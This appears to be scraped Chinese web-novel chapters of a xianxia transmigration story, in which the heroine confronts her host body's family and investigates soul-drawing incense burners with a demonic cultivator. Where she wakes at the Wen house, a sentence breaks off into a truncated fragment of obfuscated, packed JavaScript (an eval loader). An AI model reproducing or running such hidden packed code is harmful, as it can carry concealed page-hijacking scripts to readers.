她才修了几天仙而已,拳脚功夫几乎没学,剑也只学了皮毛,术法更是只会最简单的御物术——甚至还得是跟不熄鼎借完灵气后才能学会。 季邕为了绑她甚至准备了迷药,如果不是她挣脱得足够快,还会有什么? 她拿着剑在镜溪城熙熙攘攘的街头茫然地站着,直到听到身后有人小声说:“关家小姐?” 关云铮拿着剑的手紧了紧,回过头,发现是之前客栈的那个小二。没想到居然是为数不多认识的人,她稍微放低了一点警惕:“何事?” 店小二估计是看出她还防备着,笑嘻嘻地说:“闻家小少爷传信回来,说您下山来了,让我们招待几天。” 关云铮一愣:“传信给你们吗?” 店小二堪称憨厚地笑笑:“当然是传信回小少爷家里了,只不过小少爷担心您没去过他家不自在,所以让我来找找您,要是愿意住闻家,我这就带您过去。” 关云铮稍加思索,对店小二点点头:“劳烦您带路。” 虽然她并不觉得季邕能胆大包天到,在客栈这样的公共场合对自己动手,但去闻家总归是要更安全一些。 顺便还能看看店小二说的是不是真的。 闻家离小二找到她的地方很近,关云铮进门前还在想,镜溪城不算小,不知道店小二是怎么找到自己的,进门之后看见迎接她的人手上停了只蓝色蝴蝶,她后知后觉地明白过来。 大意了,差点忘了师兄迪士尼公主的身份。 闻越和他哥哥长得很像,因此关云铮没再继续怀疑,就相信了眼前人的身份。 “你就是云铮吧,我是闻越的兄长,我叫闻逍。”闻逍抬手让蝴蝶飞回去报信,“小越的蝴蝶早就飞下山来报信了,你是路上有事耽搁了吗?”他笑着问道。 这个气质……太好了是男妈妈我们有救了! 关云铮估计闻家上下都对关家那点破事门儿清,因此没多隐瞒,说了自己此行目的和方才遭遇。 闻逍从她讲到被迷晕那里就开始皱眉头,听完后看了眼方才蝴蝶飞走的方向:“我是不是把灵蝶放得太早了,这件事还没告诉小越。” 关云铮连忙摆手加摇头:“先前是我说要自己解决的,而且现在事情结束了,等我回去再告诉他们吧。” 闻逍担忧地看了她一会儿,看她确实没有要向师门求援的意思,松口道:“先在府上休息一晚吧,明早我派人送你回家,好不好?” 关云铮内心的小人一边“嘿嘿,男妈妈”,一边“好好好”,她面无表情地“扇”了小人一下,扬起一个微笑:“好,谢谢大哥。” 闻逍笑眯眯:“云铮客气了。” 难怪有时候会觉得师兄像师姐变的。关云铮躺在闻逍给她安排的客房床上想,或许就是因为有一个男妈妈哥哥吧,潜移默化的。 不过总感觉这兄弟俩的名字起错了,虽然不知道闻逍的名字究竟是哪个字,但常用的也无非是逍遥的逍,九霄的霄,这种听起来比较自由跳脱的。反倒是闻越的名字,乍一听还挺稳重的,名字跟两人性格完全相反的样子。 关云铮在柔软的被窝里翻了个身,忽然意识到一种可能。 没准闻逍在没有这个弟弟之前,性格确实是符合自己的名字的,只是这个弟弟太磨人了,于是逐渐进化成了男妈妈? 喔,好有道理的样子。 她还在床上翻来翻去,忽然听见敲门声。 接着听见闻逍在门外说:“云铮还没用晚饭吧,听小越说你喜欢那家云吞,汤云吞和炸云吞我都给你买了一份,给你放外面了,记得吃。” 关云铮嗖一下从被窝里弹起来,裹成一团也没妨碍她的飞速起身。 打了季邕那个疯子回来的时候已经挺晚了,她确实很长时间没吃东西了,本来打算忍一晚上明天早点去买云吞吃的,现在闻逍居然帮她买回来了。 呜呜,哥哥好。 关云铮从被窝里钻出来,抓过外衣下床,开门,探出半个脑袋。 地上放着一个木制的食盒,盖得很严实。 关云铮弯腰拿起食盒的时候总觉得哪里不对,低头看了眼自己连房门都没跨出来的双腿,不懂自己为什么一副做贼心虚的样子。 她直起身,把房门又打开一些,迈出腿。做完这一串动作后,才重新弯腰把地上的食盒拿起来。 关上房门在桌边坐下后,关云铮本来在吃着云吞放空,忽然间想到一件事。 蝴蝶到底是怎么传递消息的呢?它又不会说话,也没见绑什么纸条,难道是它能听懂人说的话,然后用触角摆动之类的方式把这些话又“说”给接收者听? 。就离谱。 关云铮皱着脸继续想,难道蝴蝶也是一种类似灵器的存在,可以承载一段画面,然后被下一个人感应到? 就像她在剑冢碰到的那把刀一样。 这个推测倒是合理多了。 关云铮吃完了汤云吞,把包着炸云吞的油纸包拆开,慢吞吞地把炸云吞当瓜子嗑。 说到那把刀……对“月儿”身份和刀中记忆的解释她已经差不多有了完整的想法。 首先“月儿”一定是章存舒的师妹没错,鉴于剑冢里武器的主人皆是身陨之人,所以“月儿”应当是已经过世了,过世时应该也并非善终,因此章存舒看上去不太愿意主动提及有关她的事。 其次,刀中最后一段记忆应该就是她死前的景象,她的身体应该已经无法承受这样上午练刀下午打坐的生活了。来自刀身的痛苦情绪也能佐证这一点。 这样想来,另一位章存舒和“月儿”共同的师兄在记忆中展现出的奇怪态度也不难理解了。或许是无法接受师妹年纪轻轻就要死去,所以减少了见面,但又还记挂,因此总是来见了一面就走。 关云铮本来以为,她能看“月儿”练刀直到她自然老去。 却没想到记忆如此短暂,她就这样看着一朵花转瞬即逝,在她眼前枯萎。 刀中的记忆能得到这样的解释,那摇羽又为什么会在她借灵气进入剑冢后,就把“月儿”的刀塞进她手里呢? 进入剑冢需要与剑冢内武器的主人相互感应,武器的主人是“月儿”,她是与“月儿”建立的感应——所以“月儿”就是不熄鼎? “能够将有形的供养之物转化为无形的灵气,供仙门内部使用”? 难道说“月儿”虽然身死,但魂魄并没有消散,而是成为了不熄鼎的供养? 她死了多久,就让不熄鼎燃了多久? 闻越说有非常多尚未学会引气入体的人能够向不熄鼎借灵气…… 所以她看向刀的眼神那样的悲悯……所以那时候会感觉她像是在透过刀看着无数人…… 她比所有人都更清楚自己的命运,这是一场自愿的“献祭”。 “我最近看了一本小说。” “好看吗?” “还行,但是虐文,你应该不看。” “那我确实不看虐文,有多虐?” “它也不是那种白刀子进红刀子出的虐,它是那种钝刀子磨肉还不拔出来的虐。” “你这比喻有点太形象了。” “哎呀,就是主角从一个幸福快乐的普通人逐渐成长,担负了很多东西,然后身边的人都死光了。” “打住,你别说了,我不看了。” “我一边觉得作者对主角很残忍,一边又觉得这好像是主角和其他角色的必然结局。” “你也是被虐出毛病来了,怎么说话跟个抖m一样。” “就,怎么说呢。你有看过那种,哪怕回到过去也改变不了什么的故事吗,就是这种感觉。” “大概懂了。” “有些故事里的角色是鲜活的,有生命的,所以他们有自己的命运要走,所以……他们必须死。” …… 关云铮被远处的鸡鸣吵醒,恍惚间以为自己还在21世纪的乡下老家。 没有闹钟作为保险,全靠生物钟起床的感觉太奇妙,她穿好衣服洗漱完出门时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可能她内心的犹豫也体现在了脸上,闻逍十分善解人意地说:“你以后多数时间都待在青镜山,如果不知道怎么处理的话,可以先搁置,你的家人们毕竟还不能影响到你。” 那可太影响了,几天之内食指狠狠抽了三回了。 关云铮苦着脸想,这样看来还是必须处理,至少得看看怎么样能让她的食指别再抽了。 关云铮和闻逍派出陪同的人一起到关家门外的时候,关家只开了一扇侧门,不时有人急匆匆地进出。 之前说原身的父亲病重,看这些人神色怕不是活不长了…… 关云铮走上前,没有家丁守门,她正准备抬手敲门,闻逍派来的人先上前一步,替她拍了拍门。 咦,好周到。 关云铮乖乖站在一边等待,不久后隐约听到有人一边嘟囔一边拖着步子走到门前:“这时候怎么还有人上门啊,着急奔丧吗这么勤快。” 嗯……好像确实是来奔丧的。 来人打开门,看清门前两人的脸呆住了:“大小姐?” 关云铮矜持地点点头。 估计是她和原身的气质太不相似了,来开门的家丁眼神在她脸上停留了好一会儿,迟疑地进门去禀报了。 闻逍派的人在她身后尽职地站着。 关云铮这次在开着的门外站着等了好一会儿,实在没耐心了,想不明白一个没嫁人的女儿回家为什么还要通禀,于是提起弟子服的衣摆,直接跨过门槛进去了。 一边走一边回头问:“这位哥哥你叫什么名字呀?” “展骏,骏马的骏。” 关云铮点点头:“展骏哥哥,待会儿要是我和我家人起冲突,麻烦你帮帮我。” 展骏似乎并不觉得她和她家人起冲突是件多么奇怪的事,闻言只是点了点头,没多问。 而说话间两人已走到人群聚集处。 还没待走近关云铮就听见一阵撕心裂肺的咳嗽,从房门中匆匆走出一个端着水盆的丫鬟,她只顾着低头疾走没注意到人,倒是被及时躲开的关云铮看清了盆里的东西。 一条带血的巾帕,血液看起来还有些粘稠。 关云铮顿时一个后撤步,连带着拽了一把展骏的衣袖。 展骏疑惑,低头看她:“怎么了关姑娘?” 关云铮抬起手腕,用袖口布料遮住口鼻:“传染病。” 如果她没猜错的话,大概率是古代染上必死的——肺结核。 18. 第 18 章 还没靠近就能听见屋里堪称撕心裂肺的咳嗽声,巾帕上的血液粘稠,大概率是痰中带血,不出意外就是肺结核了。 关云铮一边拉着展骏退开,一边提醒端盆的丫鬟:“巾帕不要洗了,直接丢掉,水盆拿皂角多洗几遍再拿回来。” 她说话的语气太冷静,丫鬟刚开始茫然地点头应下,匆匆走出去两步才察觉不对,猛地刹住车回过头来:“大小姐?” 关云铮反应平淡地点点头,还没等她再度开口说些什么,一个声音从她身后响起:“你怎么回来了?你来干什么?” 啧。这种还不知道来人是谁就被说话的语气膈应的感觉。 关云铮回过头。 面前的女人被人扶着,面色有些憔悴,但精神看着还好,皱起眉来更是看上去能再骂半炷香的。 大胆猜测一下——对待原身的态度很差,语气间又颇为熟稔——这应该就是原身的母亲了吧。 “你爹没生病的时候也没见你在膝下侍奉,现在他病了,你倒从你那世外桃源回来了,着急给他奔丧还是分家产?”原身母亲居高临下地站着,说出口的话一句比一句刻薄。 本来觉得这具身体是原身的,怎样处理家庭关系应该也得尊重原身的意愿,不能做得太绝,万一以后原身会回来,要给她留点退路。 可关云铮现在有些悲凉地想:你娘甚至在这么多外人面前都没给你留脸。 “我自然希望父亲长命百岁,这次回来也是听说父亲病重,下山寻找医治父亲的方法,怎么会是急着回来奔丧呢?”关云铮提防着眼前的人待会儿可能要突然发难,悄悄往后又退了点,继续说,“现在才来不是我的本意,实在是刚下山就被人掳走了,不久前才脱身。再说了,就算真的老天无眼,到了分家产的地步,如今这家产里怎么说也该有我的一份吧?” 原身的母亲被她这一大段话说愣了,反应过来后眉头皱得更紧:“你倒是说说被谁掳走了,什么又叫做如今这家产该有你的一份?”她拂开旁边丫鬟搀扶的手,“你早就离开家去仙山求学了,自己当初那么坚决,现在又回来含沙射影地说些什么?” 关云铮有些不合时宜地想,吵架时的单方面输出固然很爽,但能把条理清晰的人按照她的条理逐一驳倒——那就更爽了。 抱一丝辩论的老毛病发作了。 她胡思乱想短暂几秒:“季家公子跟我说,你们商量着把我送上山,得到了一笔抚恤。您刚才却说去仙山求学是我坚决,好像并非如此?” 原身的母亲快走一步下来:“季家公子?他怎么可能同你说这些?” 人走到面前,自然是不能再退了,关云铮握紧摇羽,忍不住想冷笑:“看来确实是把我卖了。” “家境殷实却走到卖女儿这步田地,父亲重病不愈倒也并不奇怪了,想必抚恤那笔钱,季邕也没给您多少吧?”关云铮之前就觉得不对,关家夫人既然能跟闻家夫人成为好友,想必不会是穷苦的家境,再看不惯自己的女儿,顶多也就是放在府里苛待,何至于把女儿送上山获取抚恤金呢? 能让她动了这个心思的,一是季邕的怂恿,二是这笔钱或许实在丰厚。 拿着如此丰厚的一笔钱,家主骤然病重居然也没钱医治,无非是季邕这厮独吞了大头。 昨天还说要改回娶她,无非是原身的父亲病危关家要垮,原身的妹妹没有了娘家的依仗,他又看不上了,又觉得自己的“白月光”格外动人了。 搁这吃绝户来了,杀千刀的东西。 关云铮暗自咬牙切齿:“您跟一个外人辛苦筹谋,却不知道他昨天把我掳走,同我说根本不想娶妹妹,又转了念头要我嫁他,您说他为什么?” 原身的母亲愣在原地:“你在胡言乱语些什么……” 关云铮心里一阵悲凉,为原身也为这世道。她本来还想多说些什么,问问原身的母亲为什么偏心,问问妹妹为什么心安理得,也问问父亲为什么袖手旁观。 到了此刻,觉得这些对于一个魂魄已经消失的人来说,都不重要了。 “人我不会嫁,这个家我以后也不会再回,家产我也不要你一分,我们各自安好吧。”关云铮转身准备离开,展骏等她走出一步才跟在身后,隔绝了原身母亲的视线。 还没等走出去几米,一个女孩不知从哪儿窜出来,一把抓住了她的衣服。 “姐姐,你刚才说季家公子改变主意了要娶你,是真的吗?” 得,不用看也知道是原身妹妹了。 “他说对我是真心的,怎么会改变主意呢?”关云漪松开手,退后几步,喃喃自语着。 有时候觉得古装剧里一些画面非常脑残,果然是因为真有这种脑残啊。 母亲与虎谋皮女儿为虎作伥,真是一个模子里刻出来的母女,也难怪原身不受重视了,可能是因为太过正常和这个家格格不入吧。 关云铮看了她一会儿,没说话,忽然想起些什么,又转过身:“对了,险些忘了,为了不给你添麻烦,连翘我也一并带走了。” 原身的母亲被她堵了好几回,话都没说出来几句,此刻气得不行,胸膛快速起伏几个来回,大步从台阶上跨下来。 关云铮估计她是想给自己来一巴掌,但她和原身母亲之间还隔了展骏的半个身子,还没等她自己拿摇羽挡一挡,展骏已经抬起手臂替她挡住了。 感动,闻逍派来的人跟闻逍一样靠谱。 “你到底想干什么!把我也气死吗!”原身的母亲狠狠地瞪着关云铮,看起来好像真的要气死了。 关云铮本来是想仔细观察一会儿,探望探望原身的父亲,再尽量跟原身的母亲心平气和地聊一聊,再做决定的。 可哪个关心在乎女儿的母亲,会对好些天没见的女儿说这些呢? 她站在原地看了原身母亲一会儿,没再说话,转过身,拉上闻讯赶来的连翘,朝来时路往外走,离开这个不欢迎原身也不欢迎她的地方。 如何安置连翘是个问题。 她在仙山上修炼总不能带个丫鬟,但她没有连翘的卖身契之类的东西,也没法让她就这样不再当丫鬟,恢复自由身。 连翘估计是没想到她这么快就又下山了,还对夫人说了这些堪称大逆不道的话,一时之间都没反应过来似的,也不说话,愣愣的在她旁边站着。 关云铮有点不好意思地看向展骏:“我刚才话说得太漂亮了,但我没法把连翘带走……” 她本意是让展骏这个正经古代人想想办法,谁料展骏听完后来了句:“你不介意的话,她可以去闻家。” ? 关云铮不太确定地复述了一遍:“去闻家?” 展骏点点头:“你是小少爷的师妹,难得下山一次,理应帮你解决遇到的麻烦,家主也会这么做。” 有这么靠谱的哥哥你就偷着乐吧师兄! “那卖身契怎么办?”关云铮又问,看向连翘,“你当时签卖身契了吗?” 连翘点点头。 展骏还没开口,闻逍的声音响起:“卖身契的事,我去和关家夫人谈。” 关云铮回过头,发现闻逍不知道什么时候站在她身后,在场三个人居然没一个人发现。 不对。 关云铮看着一脸平静地走到闻逍身后的展骏,他肯定早就发现了吧! 她吐槽无能,放弃挣扎:“大哥怎么来了?” 闻逍变戏法似的拿出两串冰糖葫芦:“带你四处逛逛,然后去吃好吃的。” 关云铮接过其中一串,又把另一串递给比她还懵的连翘。 闻逍带着两个小姑娘往前走,展骏自发走在最后面,四个人从关家门前往街上走。 “听小越说上次你们吃完午饭就回去了,他怎么没带你多玩一会儿?”闻逍走在外侧挡住来往的行人,低头问道。 上次为啥没继续玩来着?好像是闻越说镜溪城太凶险了? 好像还是在她说自己遇到了殷含绮之后? 关云铮如实相告:“师兄听说我遇到了一个人,就说镜溪城太凶险了,拉着我忙不迭地回去了。” 闻逍重复:“一个人?” 关云铮正犹豫要不要把名字说出来,闻逍已经若有所思地说:“我大概知道了。” 诶?居然这么了解。 关云铮没把这事儿放在心上,啃了口糖葫芦,又问道:“大哥,季邕那小……那人家里很有钱吗?” 闻逍似乎是想了想季邕是谁,思考片刻才说:“没有我们闻家有钱。” 喔…… 关云铮又问:“那是家里很有权吗?” 闻逍的表情似乎有点轻蔑:“就他家?” 喔…… 师兄你大哥好帅哦。 “他那边我已经派人暗中盯着了。”看出她在担心什么,闻逍说道,“你妹妹和他的婚约,你想取消吗?” 关云铮不太喜欢原身的妹妹,也很讨厌季邕。但要让一个小女孩嫁给这种神经病,她又稍微有点不忍心。 她纠结着,嘴 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天都塌了。 难怪上次刚上完菜闻越就回来了,难怪客栈还能有外送服务。 小说里的“高档餐厅只能堂食但有钱就可以外送”这种事也是给她体验到了。 关云铮第不知道多少次化悲愤为食欲,低头库库一顿炫。 “下午要回去吗?还是再逛逛?”闻逍问道。 其实有点想回去了,总感觉发生的事情有点摧残她的精神。但是有些事情还没办完,因此她坦言道:“下午我想自己去处理一些事。” 闻逍没多问,点点头:“好,有什么需要就回闻家找我。” 她打算去上次那个算命摊子一趟。 虽然涉及玄学的很多事都有点难以用常理解释,但那个算命先生的奇怪举动总归有些原因。 和原身家里闹掰,就只能通过这些玄学手段了解一下原身的过去了。 和闻逍三人短暂道别,安抚了连翘几句,关云铮一个人往摊子的方向走。 刚走出去没多远,一阵香风拂过,她警惕地停住脚步。 “哎呀,这么警醒呀?”一个带笑的声音在她身后响起。 多年广播剧聆听经验让她对听过的多数声音都印象深刻,因此来人话音未落,她就反应过来。 转过身果然看见殷含绮笑盈盈的脸。 她摇着团扇:“怎么一个人下山来了?” 关云铮摇摇头:“只是现在一个人。” 殷含绮笑着点点头:“那现在一个人要去哪?我陪你走走?” 关云铮不是很想让人知道自己打算干什么,不过此刻有一个更重要的事情她需要知道,因此她犹豫了一下还是问道:“姐姐,你和我师兄关系不好吗?” 殷含绮好像对她喊自己姐姐的行为很满意,愉悦地眨眨眼:“算不上?我和他没关系。”她手中的扇子半掩住脸,“他上次是不是听你说遇到我了,就拉着你走了?” 关云铮点点头。 殷含绮笑得眼睛弯弯:“那应该是因为,我是邪修哦。” ? 好家伙。 殷含绮稍微凑近了些:“你不害怕?” 关云铮很冷静:“你要是要对我做些什么,方才也不会等我警惕心起才靠近,再者,”她有些悲哀地说,“我现在害怕也来不及。” 殷含绮忍俊不禁:“好啦,逗你的,我又不是闲得慌的那种邪修,没事就想给名门正派添点不痛快。能安生过日子我可懒得搭理他们,规矩一箩筐,吵都吵死了。” ? 你说得对。 “你要做的事是你的小秘密?”殷含绮了然问道,“那我跟你保证我不会告诉别人,好不好?” 关云铮刚想说倒也没那么在意,毕竟殷含绮顶着邪修这个身份,多数所谓正派的人应该也不会相信她的说辞,这样的话就对她自己没什么影响,她并不是很有所谓。 结果没说话的这一会儿工夫,殷含绮已经轻轻摇了一下扇子,指尖亮起一点红色的荧光。 “好了,约定已成。” 关云铮:? 既然你诚心诚意地问了,那我只好大发慈悲,不是,真情实意地带你一起去探究原身的秘密了。 19.第 19 章 理智上来说,关云铮不该相信殷含绮,毕竟她说自己是邪修。 感性上她又觉得殷含绮都这么坦诚了,就算是邪修也不会对她做出什么伤害性的举动。但这种想法显然又太感性了……毕竟她说自己是邪修。 走到算命摊位前的这段路差点把关云铮纠结得CPU烧干,索性抬头直白问道:“姐姐,你为什么要帮我呢?” 殷含绮像是早就料到了她会有此问,笑着回答:“镜溪城最近不怎么太平,我看你一个人不太放心。” 不怎么太平? 关云铮不可避免地想起上次逃学下山要回去时,闻越跟她说起过的学生失踪事件。 镜溪城里的邪修也在暗中行动了吗?那殷含绮呢?也参与其中了吗? 殷含绮似乎是看出她在想些什么:“最近邪修之间兴起了一种新的修炼方式,会用到年轻人的气、血、精魂。” 殷含绮皱了皱眉,像是说起了自己十分反感的话题:“我以为我的态度足够约束手下的这帮人,没想到也有人私下用起了这样的修炼方式。” 那这跟她要陪自己去算命摊子有什么关系?关云铮不解,干脆直接问了:“那这些和你……”问题说出一半,她又意识到自己并没有提起过要去的是算命摊子,刚想换个方式问,殷含绮已经回答了她的问题。 “我第一次遇见你确实是个巧合,那时候门派里在召人回去,我当时是去找那个和你搭话的人的。”殷含绮几乎是有问必答,“只不过那时候我忽然改变了主意,因为我在你身上闻到了一种气味。” “气味?”关云铮更疑惑了。 她身上能有什么特别的气味? 殷含绮站定,低头看她:“我在你身上,闻到了引魂香的气味。” 引魂香?什么东西? “我们门派跟鬼、魂打交道比较多,这种香的作用正如其名,一般会被用来引魂,点上后如果成功引渡魂魄,我们就能从香燃烧后的烟雾中,读到这缕魂魄的记忆。”殷含绮对引魂香做出解释。 关云铮点点头。 “这个过程,有些人称之为引魂术,但这个名字是掩盖这件事本质的修饰。”殷含绮的团扇还拿在手里,但已经很久没看她晃动过了。 “被引渡了魂魄的活人,无一例外,都会死。” 关云铮猛地抬起头。 “引魂香不像普通的香,置身其间就会沾上味道,它只会在自己引渡魂魄的躯体上留下气味。”殷含绮对上关云铮的视线,“显然,你活得好好的,可你却沾上了这种味道。这种事我先前从未见过,好奇心发作,所以想跟着你看看,到底是因为什么。” 至此,殷含绮彻底解释清楚了她的来意。 而关云铮却陷入了更深的疑惑之中。 难道说是原身曾经承受过引魂术?所以当她碰见燃着的引魂香时,沾染在了身体上?那她又是在哪儿沾染上的呢?上次下山她途径的地方颇多,但停留了一段时间的也就只有云吞摊、客栈和算命的摊位。 会是哪儿? 不过左右算命摊位逃不开被仔细调查,还是先去那里看看吧。 又是午饭时间,又是算命摊位前。 四下无人,算命先生眯着眼摸索摊位上的东西,慢吞吞地收拾着。 关云铮靠近时他没什么反应,可能以为只是普通的过路人,直到她开口,算命先生才从一堆零散物件前抬起头——那眼睛依旧是蒙着一层阴翳的。 “先生,又来叨扰。”关云铮不知道算命的还记不记得自己,虽然理论上还没过去几天,但镜溪城人来人往这么多人,她并没有多特别,没法指望别人对自己印象深刻。 算命的似乎是认了一会儿她的样子:“是你啊姑娘。” 看来还记得。 但是上次吃饭前跑来问他的时候,他对第一次说的话毫无印象,现在还需不需要再问一次呢。 她的犹豫都写在脸上了,殷含绮靠近看了她一会儿,刚想说点什么,余光忽然注意到摊位角落里的一个小物件。 那玩意儿是个小香炉,掌心那么点大,香但凡粗一点都没法在这里面燃起来。 殷含绮把它拿起来,看向算命的:“先生,这个香炉是您的吗?” 算命的眯起眼辨认:“是我的东西,姑娘在别处见过一样的?” 殷含绮放下那香炉,目光却还停在上面,说话的声音像是怕惊扰了什么似的,喃喃自语一般:“我见过太多了。” 算命的没听清,正想追问,犹豫了很久的关云铮开口问道:“先生这香炉,是什么时候得到的?” 她对第一次来到算命摊位时的摆设毫无印象,会这样问也不是因为想起了那天香炉并不在案台上这种细节,而是因为这香炉看着和案台上的其他物件毫无联系,看着无端有几分突兀。 并且……她记得上次下山的时候,在那个陶塑物件摊位上,看到过一个几乎一模一样的香炉。虽然当时她的注意力无端被吸引在那个擦肩而过的人身上,并没有仔细看过摊位上的东西,但香炉的大致形状她还有印象。 算命的回忆了一会儿,没能想起确切的时间,因此回答道:“大概就是这些天,我岁数大了,这些事情也记不太清了。” 关云铮也没太追究,只又问了一句:“我第一次来您这儿的那天,这个香炉已经在这了吗?” 这个算命先生倒是有印象,因此点了点头。 关云铮总感觉有什么念头在自己脑海深处短暂一闪,她回过神来却没能抓住。她有点懊恼地跟算命先生道别,殷含绮也放下香炉,跟在她身后。 走出去几步远,关云铮忽然意识到刚才自己忽略的是什么了,转过身看向殷含绮:“姐姐。” 殷含绮眼睛弯弯:“果然想到了呀。” “我猜……你那天一定不止来了一次?”殷含绮找了一个无人经过的角落,和关云铮面对面坐下来。 关云铮并不奇怪殷含绮能看出来,因此点点头。 殷含绮不知从哪里拿出来一个香炉——和方才算命先生那个几乎一模一样。 “方才跟你说过,我所在门派的……”殷含绮似乎是想找一个更准确的说法,但停顿了好一会儿,还是作罢,“引魂术,用的就是这样的香炉。只不过这种香炉都是一次性的,用过就该丢弃。” 关云铮自然而然地接上她的未尽之言:“而算命先生那个,用过却没有丢弃?” 殷含绮点点头:“因为同一缕魂魄会与那个引魂的香炉存在感应,如果香炉不及时销毁,某些死后却仍在游荡的灵魂就会被香炉吸引,持有香炉的人可能会,”她停顿了一下,再度看向关云铮,“通灵。” 所以算命先生第一次说的话是因为他那时候通灵了,因为他桌上的那个香炉就是当时引渡了原身魂魄的香炉,所以当时……原身的魂魄没有消散,甚至可能就在关云铮身边。 这件事在普通人看来可能挺瘆人的,但关云铮本身就不该在这具身体里,又刚解决完原身的家庭问题,知道了原身过的都是怎样的生活。 所以此刻她的心情跟恐惧毫无关系,甚至是悲伤的。 她一直在看我。 她会因为我做的事感到欣慰,还是会痛苦? 她的灵魂为什么会离开这具身体,又为什么仍在人间游荡? 她……对这苛待她的人间不舍吗? 关云铮一直觉得自己长大后的泪点很奇怪,她很少因为身体上的疼痛哭泣,也很少因为感到委屈落泪,但在这一刻,她看着香炉太久而眼睛酸涩,下意识眨眼的这一刻—— 一滴眼泪落了下来。 殷含绮被她吓了一跳,伸手托起她的脸:“怎么哭了?” 关云铮摇摇头,感觉喉咙发干,有什么东西在里面跳动一般地疼:“我没事,姐姐你继续说。” 殷含绮不太放心地托着她的脸看了一会儿,确定没有再哭后用手轻轻抹了一下她的眼尾:“你那天再次去往算命先生那,应该是因为他第一次同你说了些奇怪的话吧?”她停顿了一下,可能是迟疑自己该不该戳破这件事,“他看出你并不是这具身体原本的灵魂了,对吗?” 其实这件事自然也可以是其他无关的魂魄碰巧在那个时候待在关云铮身边,与香炉互相感应后触发了算命先生的短暂通灵。 但看关云铮的反应,估计当时算命先生是看出了她这具身体同时有两缕灵魂,并且道破了此事。 殷含绮没有再说话,坐在对面等着关云铮开口。 “我第一次去那个算命摊的时候,先生说我魂灵与身躯互不契合,命格诡异,当天第二次再去,他却说我命格平稳……”关云铮喉咙还是痛得厉害,想凭空吞咽却干涩无比。 还有他那原本明亮却多出一层阴翳的眼睛。 殷含绮这段时间大多待在镜溪城,大小街道上的固定摊位总共就这么些,自然对那位算命先生有些印象,方才在摊位时也注意到了他身上的变化,因此大概明白关云铮的未尽之言是什么,于是答道:“不修此术之人通灵,需付出一定代价。” 她看着香炉:“至于他前后两次说的话……原来的那缕魂魄应当已经没有力量再回应香炉了。” 关云铮感觉自己的眼眶又在发酸了,她忍了忍才说:“那她现在还在吗?” 殷含绮没有正面回答,反而问她:“你这次为何下山?” 关云铮伸出手:“我的手指几天之内反复抽动了几次,师门的人说可能是家中出事了,让我下山来看看。” 殷含绮追问:“什么时候下的山?” 关云铮如实回答:“昨日。” 殷含绮看着她:“那今日手指有反应吗?” 关云铮下意识脱口:“没有。”说完后才忽然意识到什么,抬起头看向殷含绮。 殷含绮轻轻摇了摇头。 那是她魂魄最后一点力量了。 可能是父女连心,可能是灵魂对事物的感应更强,她感觉到自己父亲病危,用这种方式来请求关云铮,下山去看一眼。 然后她就再也没有力量了。 殷含绮收起香炉,不去看故意移开视线掩饰神情的关云铮:“接下来打算做什么?” 关云铮低着头,声音低低的:“我得去闻家一趟,之后就回师门。” “好。”殷含绮看着她。 关云铮站起身准备离开,忽然又想起一件事,转回身对殷含绮说道:“这种香炉只有你们门派有吗?” 殷含绮点点头。 关云铮皱眉:“我上次下山的时候,在一处街角的陶塑物件摊位上,见到过一个香炉,跟你手里这个很像。” 这下殷含绮的眉头也皱起来了:“哪处摊位?” 关云铮描述了一下位置:“难道 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虽然很损很不对但差点被逗笑了。 “去吧,以后下山可以直接来闻家。”闻逍笑着说,又伸手摸了摸关云铮的脑袋。 关云铮背起大哥准备的包袱,提起干桂花出发了。 离开闻家之后关云铮的情绪不可避免地再度低落下来,只好低着头一阵狂走。这次的事情其实还没有完全解决,她还不知道当时给原身引魂的人是谁,又为什么没有把香炉销毁。 她也不知道,之前经过的陶塑物件摊位上,为什么会有几乎一模一样的香炉。 难道那个香炉也是被用来引魂,结束后却没有被销毁?那个摊位难道是邪修拿来处理香炉的地方?也就是说,很有可能已经有不止一个人,和原身一样,已经魂飞魄散了? 这些问题中最重要的是:原身为什么会被殷含绮的门派中人——也就是邪修抓住,还引渡了她的魂魄。会是季邕干的吗?他有这个能力接触邪修吗?还是有别的原因? 但邪修不是想遇见就能遇见,归墟甚至没能发现他们的踪迹,想要知道这些问题的答案,对于她这个刚穿越过来,入门级别的修仙人来说也太难了。 关云铮只好埋头疾走,毕竟答应了摇羽要带它去剑冢蹭灵气,早些回去还能早些兑现承诺。路过一片小林子的时候她正打算目不斜视地加速路过,就听见了短促的一声呼救。 。她这坎坷的修仙路。 都听见呼救声了总不能置之不理吧,关云铮叹了口气,把摇羽握在手里,又把装干桂花的小袋塞进包袱,提高警惕往声音的来源处走。 林子不算很大,但生长得很茂密,越往声音源头处走,照射进来的光线越少。 符合她对邪修阴暗爬行的刻板印象。 当然殷含绮不符合这一刻板印象。 关云铮一边胡思乱想一边继续寻找,难免有些心不在焉,因此在前方的人骤然转身过来时差点躲闪不及,匆忙下蹲躲进树底的灌木丛中。 等等。 虽然刚才那一瞬间的对视非常短暂,但她好像在哪里见过这个人。 她来到这个世界的时间不长,在山下有过一面之缘的人更是屈指可数,会给她这种“似曾相识”感觉的人……会是谁呢? 关云铮暂时放弃钻牛角尖,从灌木丛里悄悄探出脑袋,认为刚才那人应该只是在望风,并没有发现自己。 转过身去看不见脸了啊。 只不过这个背影…… 关云铮皱起眉头,这个背影给她“似曾相识”的感觉更强烈了。 她什么时候从这个视角看过谁吗? 关云铮扒着树干继续观察,发现不远处有不少人,一些是和刚才那个人穿着相似的男人,基本都站着,由于背对着她,所以都看不清长相。一部分则是穿着裙装的女人,从姿势来看应该多数都在昏迷状态,瘫软地坐在地上。 关云铮仔细看了看,虽然那些女人的脸大多没有朝着她的方向,导致五官有些看不清楚,但能看出其中几个还很年轻,甚至是跟原身差不多的年纪。 她不可避免地想到原身经历的事情,下意识握紧了手里的摇羽。 “怎么找了这么个地方,你不要命了敢在青镜山脚下办事?”一个男人烦躁的声音响起。 “有什么所谓,就这几个人很快就解决了,青镜山赶到的时候就等着给她们收尸吧。”另一个声音接着说道,听着满不在乎的语气。 拳头硬了。 关云铮很想冲出去揍人,但知道自己大概率打不过,脑子飞快运转,在想有没有引开这几个人把那群女孩子救走的可能。 “这些都是城里的?” “你问他,我不知道,我就只管动手。” “这几个是城里的,这一个不知道是哪儿人,随手抓来的。” “没有青镜山的弟子?” “现在又不是几天前那会儿了,我上哪儿给你找青镜山弟子,这会儿他们都在山上待着呢。” “说起来几天前那个青镜山的,后来死了吗?” 